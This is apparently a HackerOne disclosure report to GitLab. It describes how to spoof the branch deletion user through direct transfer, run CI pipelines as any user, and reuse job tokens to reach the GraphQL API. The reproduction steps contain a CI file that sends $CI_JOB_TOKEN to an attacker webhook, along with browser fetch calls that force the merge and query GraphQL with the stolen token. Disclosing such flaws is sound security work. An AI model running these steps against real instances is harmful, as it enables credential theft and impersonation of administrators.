Run pipelines as any user and access GraphQL Api
HackerOne report #2536320 by ahacker1
on 2024-06-04, assigned to H1 Triage
:
Report
Summary
By spoofing the branch_deletion_user via direct transfer, it's possible to delete the source branch of an MR as any user. This causes merge requests that target the source branch to retarget/switch to another branch, the spoofed user being responsible for this change. By switching the target branch, a new CI pipeline will be trigger, on behalf of the spoofed user. This allows the attacker to obtain a CI/CD job token that belongs to any user. The CI/CD job token can access the GraphQL api through basic authentication (details of bypass below), so an attacker can execute any GraphQL operation on behalf of the spoofed user.
See:
app/services/merge_requests/merge_service.rb
Where
def after_merge
...
if delete_source_branch?
MergeRequests::DeleteSourceBranchWorker.perform_async([@]merge_request.id, [@]merge_request.source_branch_sha, branch_deletion_user.id)
end
merge_request_merge_param
end
...
def branch_deletion_user
[@]merge_request.force_remove_source_branch? ? [@]merge_request.author : current_user
end
branch_deletion_user can be the author of the MR, (spoofable by direct transfer).
In, MergeRequests::DeleteSourceBranchWorker, MergeRequests::RetargetChainService is called
class MergeRequests::DeleteSourceBranchWorker
def perform(merge_request_id, source_branch_sha, user_id)
...
::MergeRequests::RetargetChainService.new(project: merge_request.source_project, current_user: user)
.execute(merge_request)
::Projects::DeleteBranchWorker.new.perform(merge_request.source_project.id, user_id, merge_request.source_branch)
rescue ActiveRecord::RecordNotFound
end
end
Which updates merge requests:
module MergeRequests
class RetargetChainService < MergeRequests::BaseService
...
def execute(merge_request)
# we can only retarget MRs that are targeting the same project
return unless merge_request.for_same_project? && merge_request.merged?
# find another merge requests that
# - as a target have a current source project and branch
other_merge_requests = merge_request.source_project
.merge_requests
.opened
.by_target_branch(merge_request.source_branch)
.preload_source_project
.limit(MAX_RETARGET_MERGE_REQUESTS)
other_merge_requests.find_each do |other_merge_request|
# Update only MRs on projects that we have access to
next unless can?(current_user, :update_merge_request, other_merge_request.source_project)
::MergeRequests::UpdateService.new(
project: other_merge_request.source_project,
current_user: current_user,
params: {
target_branch: merge_request.target_branch,
target_branch_was_deleted: true
}
).execute(other_merge_request)
if Feature.enabled?(:rebase_when_retargetting_mrs, other_merge_request.project, type: :gitlab_com_derisk)
other_merge_request.rebase_async(current_user.id)
end
end
end
end
end
By MergeRequests::UpdateService, the target_branch changes, thus triggering a pipeline on behalf of the user.
Note that, other_merge_request.rebase_async(current_user.id) is also called, which may trigger pipelines as well, but this is behind a feature flag.
GraphQL Api access w/ CI/CD job token (only works on self hosted)
GraphQL api (on self-hosted) uses find_sessionless_user to get current user.
def find_sessionless_user(request_format)
find_user_from_dependency_proxy_token ||
find_user_from_web_access_token(request_format, scopes: [:api, :read_api]) ||
find_user_from_feed_token(request_format) ||
find_user_from_static_object_token(request_format) ||
find_user_from_job_token_basic_auth ||
find_user_from_job_token ||
find_user_from_personal_access_token_for_api_or_git ||
find_user_for_git_or_lfs_request
rescue Gitlab::Auth::AuthenticationError
nil
end
For find_user_from_job_token_basic_auth , there is no checks whether job tokens are permitted:
def find_user_from_job_token_basic_auth
return unless has_basic_credentials?(current_request)
login, password = user_name_and_password(current_request)
return unless login.present? && password.present?
return unless ::Gitlab::Auth::CI_JOB_USER == login
job = find_valid_running_job_by_token!(password.to_s)
[@]current_authenticated_job = job # rubocop:disable Gitlab/ModuleWithInstanceVariables
job.user
end
Instead the checks for whether the route is accessible by job tokens is only present in find_user_from_job_token
.
There are also some other APIs/routes that rely on find_sessionless_user, most notably, the rss,ics feeds along with archive,blob. So an attacker can also access those as well.
( This would not work on GitLab.com because the :graphql_minimal_auth_methods feature flag is enabled:
# must come first: current_user is set up here
before_action(only: [:execute]) do
if Feature.enabled? :graphql_minimal_auth_methods
authenticate_graphql
else
authenticate_sessionless_user!(:api)
end
end
so the authenticate_graphql function is used instead (which does not allow authentication via CI/CD job token)
)
Steps to Reproduce
Note, you will need two gitlab instances to reproduce - a victim instance, and an attacker owned instance.
- Attacked-owned should have https
- Victim owned instance should have instance/project runners on. AND direct transfer by group enabled. Can enable as admin: http://gdk.test/admin/application_settings/general , allow migrating GL groups and projects by direct transfer
https://gitlab.attacker.com) , note https w/ ssl is required.
Inside Attacker owned instance (-
Create two accounts on gitlab.attacker.com (attacker and victim)
-
Log in as an admin on the attacker instance https://gitlab.attacker.com
-
Create a user on the attacker instance using the victim's email, and validate the user as the admin. (Note that the victim's git email can also be used, and it is determined by username + id @ replydomain, without any guessing involved. You can try using git email in a second run of the vulnerability.).
-
Make sure to put the victim email on the fake user as a "public email"
-
Log out and log back into the attacker instance as the fake victim user
-
Create a new group spoof
-
Create a project in the group project1
-
Inside the project1, (logged in as victim user):
- Add README.md file with any contents, if not already done so.
- Create the branch
mergedeletebranch
frommain
(https://gitlab.attacker.com/project_path/-/branches/new) - Add contents on
mergedeletebranch
:
Replace WEBHOOK_URL with your logging url, e.g. burp collaborator or url generated from webhook.site e.g. https://webhook.site/UUID
File name: .gitlab-ci.yml
stages:
- notify
notify_webhook:
stage: notify
script:
- >
curl -X POST WEBHOOK_URL
-H "Content-Type: application/json"
-d '{"gitlab_job_token": "'$CI_JOB_TOKEN'"}'
- sleep 600
rules:
- if: $CI_PIPELINE_SOURCE == 'merge_request_event'
-
Make a merge request from
mergedeletebranch
tomain
-
Then, create the branch
sourcebranch
from ==mergedeletebranch== -
Add any valid commit to
sourcebranch
e.g. add a new file -
Make a merge request from
sourcebranch
into ==mergedeletebranch==
do not attempt to merge any MRs yet.
As attacker, Import group into the victim's gitlab instance
- Generate access token on attacker's instance: (https://gitlab.attacker.com/-/user_settings/personal_access_tokens) with
api
andwrite_repository
scopes - Import the
spoof
group on attacker:
- Visit http://victim_instance/groups/new#import-group-pane
- GitLab source instance base URL =
https://gitlab.attacker.com
- AND personal access token = generated in step 1
-
Import spoof group, with no/any parent. Make sure to select Import with projects
-
Visit imported project (may take sometime for finish import) e.g. spoof/project inside victim instance.
-
View merge request #1 (closed) e.g. spoof/project/-/merge_requests/1
(Ensure that the iid is #1 (closed) not #2 (closed))
- Send the fetch request to merge request with force_remove_source_branch. (Regular merging won't set force_remove_source_branch as true, so use fetch):
Run code in console in devtools (while on merge request)
- Set SHA var as commit oid of head of MR. e.g. the commit oid of https://victim.gitlab.com/project_path/-/tree/mergedeletebranch
- Replace
http://gdk.test/0importgroup10/test
with actual victim host with project path e.g. gitlab.victim.com/project/path
var csrf_token = document.getElementsByName("csrf-token")[0].getAttribute("content")
SHA = ``
await(await fetch("http://gdk.test/0importgroup10/test/-/merge_requests/1/merge", {
"headers": {
"accept": "application/json, text/plain, */*",
"content-type": "application/json",
"x-csrf-token": csrf_token,
"x-requested-with": "XMLHttpRequest"
},
"referrerPolicy": "strict-origin-when-cross-origin",
"body": JSON.stringify({
"sha": SHA,
"commit_message": "Merge branch 'mergedeletebranch' into 'main'\n\nAdd new file\n\nSee merge request 0importgroup10/test!1",
"force_remove_source_branch": true,
"squash": false,
"skip_merge_train": false,
"squash_commit_message": "Add new file"
}),
"method": "POST",
"mode": "cors",
"credentials": "include"
})).json()
- Visit Merge request #2 (closed) pipelines, noting that a pipeline has been created on behalf of the spoofed user e.g. admin.
- Going to logging site e.g. webhook.site, use the token sent to send api request:
- Run in console. Make sure to run in same origin as the victim gitlab host. e.g. run in devtools console of https://gitlab.victim.com.
- replace, VICTIM_GITLAB_HOST and CI_CD_TOKEN
- replace http with https if the request fails
CI_CD_TOKEN = `` // CI/CD token from step 8
auth_header = btoa(`gitlab-ci-token:${CI_CD_TOKEN}`)
await(await fetch("http://VICTIM_GITLAB_HOST/api/graphql", {
"headers": {
"accept": "application/json, text/plain, */*",
"content-type": "application/json",
"authorization": `Basic ${auth_header}`
},
"referrerPolicy": "strict-origin-when-cross-origin",
"body": JSON.stringify({
"query": `query {currentUser{id username}}`
}),
"method": "POST",
"mode": "cors",
"credentials": "include"
})).json()
Experiment with other GraphQL apis as needed. Note that it cannot access project level resources. But it can access/mutate all other resources such groups, or users, or instance wide.
Impact
Run GraphQL api calls as any user e.g. admin.
Integrity: H, createRunner, and many others. Works for instance runner and group runners. AND updateGroupBulkMembership to escalate to group owner ...
C: H, createRunner mutation
A: L AdminSidekiqQueuesDeleteJobs mutation, delete running sidekiq jobs, hence loss of availability.
AC: L, as we can use git email as well to import and this is fixed for any given user.
Examples
...
What is the current bug behavior?
The user that is responsible for retargeting a branch (after target branch is deleted) is set as the author, which can be attacker-controlled via direct transfer.
AND
GraphQL Api/and other endpoints (feeds) allow CI/CD Job tokens
What is the expected correct behavior?
The user that merged the MR should be responsible for retargeting a branch (although if a user accidentally merges a MR, it may also trigger a pipeline. However, this require more user interaction and mitigated by project scoping of CI tokens)
AND
GraphQL Api/and other endpoints (feeds) **should not allow ** CI/CD Job tokens
Results of GitLab environment info
System information
System: Ubuntu 22.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.1.5p253
Gem Version: 3.5.9
Bundler Version:2.5.9
Rake Version: 13.0.6
Redis Version: 7.0.15
Sidekiq Version:7.1.6
Go Version: unknown
GitLab information
Version: 17.0.1-ee
Revision: cf71f280df3
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 14.11
URL: http://gdk.test
HTTP Clone URL: http://gdk.test/some-group/some-project.git
SSH Clone URL: git@gdk.test:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.35.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Gitaly
- default Address: unix:/var/opt/gitlab/gitaly/gitaly.socket
- default Version: 17.0.1
- default Git Version: 2.44.1.gl1
Impact
As mentioned above.
How To Reproduce
Please add reproducibility information to this section: